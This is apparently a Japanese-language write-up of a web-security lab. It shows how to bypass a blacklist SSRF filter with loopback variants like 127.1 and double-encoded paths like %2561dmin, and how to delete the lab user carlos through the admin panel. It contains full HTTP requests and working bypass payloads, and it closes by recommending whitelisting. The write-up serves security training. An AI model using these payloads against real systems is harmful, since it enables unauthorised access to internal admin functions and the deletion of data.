Hello there, ('ω')ノ
このラボでは、ブラックリストベースのSSRF対策を回避し、管理インターフェース(http://localhost/admin
)にアクセスしてユーザー「carlos」を削除する ことが目的です。
アプリケーションには在庫チェック機能があり、内部システムからデータを取得する仕組みになっています。
ただし、2種類のSSRF対策が実装されているため、それを回避する必要があります。
🔍 攻撃の手順
1. 在庫チェック機能を利用してリクエストを傍受する
- 任意の製品ページを開く
- 「Check stock(在庫を確認)」ボタンをクリック
- Burp Suite を起動し、リクエストをキャプチャする
リクエストの例:
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=6&storeId=1
このリクエストは、サーバーが 指定されたURLにリクエストを送信する 仕組みになっています。
ここで stockApi
パラメータを悪用 すれば、管理インターフェースにアクセスできます。
2. 第一のフィルタを回避(ローカルホスト制限)
http://localhost/
やhttp://127.0.0.1/
をstockApi
に設定すると ブロックされる- IPアドレスの別表現 を利用すると回避可能
▶ 試すべきIPアドレスのバリエーション
✅ http://127.1/
(ループバックの短縮表記)
stockApi=http://127.1/
✅ http://2130706433/
(10進数表記)
stockApi=http://2130706433/
✅ http://0x7F000001/
(16進数表記)
stockApi=http://0x7F000001/
🔹 「127.1」で回避できることを確認!
次に、http://127.1/admin
にアクセスを試みる。
3. 第二のフィルタを回避(/admin
のブロック)
http://127.1/admin
をstockApi
に設定すると ブロックされるadmin
の「a」をエンコード すれば回避可能
▶ admin
のエンコード回避
✅ 通常のURLエンコーディング
stockApi=http://127.1/%61dmin
✅ 二重エンコーディング
stockApi=http://127.1/%2561dmin
💡 %2561
(a
の二重エンコーディング)を使うと、フィルタをバイパス可能!
これで /admin
にアクセスできる!
4. ユーザー「carlos」を削除
- 管理インターフェースのHTMLを確認し、削除リクエストのパスを特定
- 例:
html <a href="/admin/delete?username=carlos">Delete carlos</a>
- 削除リクエストを送信
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://127.1/%2561dmin/delete?username=carlos
✅ 「Send」ボタンをクリック!
✅ carlos のアカウントが削除され、ラボクリア!🎉
🎯 まとめ
- 在庫チェック機能を使い、Burp Suite でリクエストをキャプチャ
http://127.1/
を使用してローカルホストの制限を回避/admin
の「a」を%2561
にエンコードしてフィルタを回避stockApi=http://127.1/%2561dmin/delete?username=carlos
を送信し、ユーザー削除- ラボクリア!🎉
このラボでは、ブラックリスト型のSSRFフィルタが簡単に回避できることを学びました!
適切な対策としては、ホワイトリストベースのフィルタを導入し、ブラックリスト方式の回避を防ぐことが重要です!
Best regards, (^^ゞ